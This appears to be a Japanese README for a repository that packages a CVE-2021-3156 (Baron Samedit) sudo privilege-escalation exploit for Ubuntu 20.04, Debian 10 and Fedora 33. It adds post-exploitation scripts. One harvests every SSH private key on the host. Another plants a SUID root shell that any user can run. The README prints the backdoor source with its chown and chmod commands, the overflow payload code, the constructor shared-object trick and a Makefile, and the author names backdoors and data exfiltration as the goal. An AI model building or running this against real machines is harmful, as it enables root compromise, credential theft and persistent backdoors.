
CVE-2021-3156 を使用した Ubuntu 20.04 用エクスプロイト。ポストエクスプロイテーションスクリプトで拡張されています。
Ubuntu 20.04 用のエクスプロイト (CVE-2021-3156 使用)。シンプルで自動化された侵害後スクリプトで拡張されています。
ルートシェル以外にも、以下のものを得られます:
-A .txt ファイル(サーバーに設定されているすべての id_rsa SSH キーを含む)。スクリプトを参照: get_all_ssh_keys.sh
-A privshell 実行可能ファイル(任意のユーザーがルートシェルを起動できるようにするものです。gcc エラーの修正に取り組んでいます)。スクリプトを参照: create_privshell.sh
成功させるには、被害者マシンが以下の OS および Sudo のいずれかのバージョンである必要があります:
-Ubuntu 20.04 (Sudo 1.8.31)
-Debian 10 (Sudo 1.8.27)
-Fedora 33 (Sudo 1.9.2)

VM を脆弱にするために、以下のコマンドで sudo のバージョンをダウングレードしました:
$ sudo apt install sudo=1.8.31-1ubuntu1
このエクスプロイトは、重要な権限を持たないユーザーで被害者システムへのアクセスを取得できれば機能します。

リポジトリを被害者マシンまたはローカルマシンにクローンし、wget で読み込むことができます。

脆弱性に応じて .c ファイルをコンパイルするには、"make" コマンドを実行してください。

エクスプロイトファイルが得られるので、"./" で実行できます。 エクスプロイトを実行すると、リポジトリに 2 つのファイルが生成されます。1 つはシステムに登録されているすべての SSH キーを保持し、もう 1 つはすべてのユーザーにルートセッションを許可する SUID 実行可能ファイルを保持しています。(紫色で強調)

次のようなエラーが表示される場合があります:

まだこのエラーを解決しようとしていますが、エクスプロイトを生成するシェルが原因だと考えています。適切な権限を持つユーザーから sudo su で root にアクセスし、./create_privshell.sh コマンドを実行してみましたが、スクリプトのコンパイルは正常でした。別の方法として、別のマシンでコンパイルして被害者マシンにコピーすることもできます。それが wget リクエストが存在する理由です。
コンパイルするスクリプトは次のとおりです:
echo 'int main() { setresuid(0,0,0); system("/bin/sh"); }' > privshell.c
gcc -o privshell privshell.c
rm privshell.c
chown root:root privshell
chmod u+s privshell
これで、すべての SSH キーを含む .txt ファイルを読み取り、gcc エラーを修正するまで privshell を使用できます。

Qualys によって発見されました。
CVSS スコア 7.8
CVE-2021-3156 は、「Baron Samedit」脆弱性としても知られ、Unix 系オペレーティングシステムで広く使用されている sudo プログラムに影響を与えるセキュリティ脆弱性です。sudo は、ユーザーが通常は自分のパスワードまたは root パスワードを入力することで、昇格した権限でコマンドを実行できるようにするプログラムです。この脆弱性は、sudo コマンドの「sudoedit」機能におけるバッファオーバーフロー問題によって引き起こされます。この機能により、ユーザーは昇格した権限でファイルを編集できます。この脆弱性は 2021 年 1 月に Qualys Research Labs によって最初に発見され、sudo バージョン 1.8.2 から 1.8.31p2 および 1.9.0 から 1.9.5p1 に影響します。
情報元: Qualys



言い換えると、set_cmnd() はヒープベースのバッファオーバーフローに対して脆弱です。これは、“user_args” バッファにコピーされる範囲外の文字がそのサイズ(852〜853行目で計算)に含まれていなかったためです。
オーバーフロー部分には、redhawkeye/sudo-exploit の exploit.c ファイルを使用しました。
少し複雑ですが、解釈は容易です。
char *env[] = {
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
"\\", "\\", "\\", "\\", "\\", "\\", "\\",
"X/X",
concat("LC_ALL=C.UTF-8@", str_repeat('A', 0xd0)),
NULL
};
この部分では、execve システムコールに渡される環境変数の配列 env を宣言しています。環境変数には一連のバックスラッシュと、値が "C.UTF-8@" に 208(0xd0)個の A 文字を連結した特別に細工された変数 LC_ALL が含まれています。この C.UTF-8@ の値は、sudoedit コマンドに LC_ALL 環境変数として渡されます。208 個の A 文字は、sudoedit プログラムのバッファをオーバーフローさせ、任意のコードを実行するために使用されます。
char * a = concat(str_repeat('A', 0x70),"\\");
char * argv[] = {"/usr/bin/sudoedit", "-s", a, NULL};
execve(argv[0], argv, env);
この部分では、112(0x70)個の A 文字の後にバックスラッシュが続く文字列を含む変数 a を宣言しています。次に、execve に渡される配列 argv を宣言しています。この配列には、sudoedit コマンドへのパス(/usr/bin/sudoedit)、-s フラグ、および上記で作成した変数 a が含まれます。
execve(argv[0], argv, env);
これは、指定された引数と環境変数を使用して sudoedit コマンドを実際に実行する execve システムコールです。sudoedit プログラムは LC_ALL 環境変数を読み取り、それをファイルパスとして解析しようとします。オーバーフローした A 文字は、メモリに任意のデータを書き込み、潜在的に任意のコードを実行するために使用されます。
したがって、RCE 用にメモリ内に予約されたこのデータは、私たちのファイル shell_tool.c によって使用されます。
__attribute((constructor))
static void sice() {
setuid(0);
system("command");
...
system("bash");
このコードの部分では、attribute((constructor)) 属性を持つ sice という名前の関数を宣言しています。この属性により、プログラムの実行開始時、main() が実行される前にこの関数が自動的に呼び出されます。sice 関数内では、setuid(0) 関数が呼び出されてプロセスの実効ユーザー ID が 0 に設定されます。これはスーパーユーザーまたは root のユーザー ID です。これにより、プログラムに実質的に root 権限が与えられます。その後、system("command") 引数を使うだけで、ルートセッションがターミナルに表示される前に任意の操作を行うことができます。そのため、root シェルを取得する前にバックドアを仕込み、データを外部に持ち出せるように、スクリプト化を試みたかったのです。
私は mybufferof.c と呼ばれる独自バージョンのコードを書いてみました。基本的には非常に似ているので、自由に Makefile を変更してテストしてみてください jeje
all:
gcc bufferof.c -o exploit
mkdir libnss_X
gcc -g -fPIC -shared shell_tool.c -o libnss_X/X.so.2
まずエクスプロイトをコンパイルし、次に "libnss_X" ディレクトリを作成する必要があります。その後、最後のコマンドが shell_tool.c ファイルをコンパイルし、libnss_X ディレクトリ内に X.so.2 という共有オブジェクトファイルを作成します。
-g フラグは、共有オブジェクトファイルのデバッグ情報を生成します。
-fPIC フラグは、共有オブジェクト用の位置独立コードを生成します。
-shared フラグは、共有オブジェクトファイルを作成することを指定します。
結果として得られる共有オブジェクトファイル X.so.2 は、2 番目のステップで作成された libnss_X ディレクトリに配置されます。
これは CVE にとって重要です。なぜなら、次の理由があるからです:

データ出典: Qualys
以上です。楽しんでください、たぶん。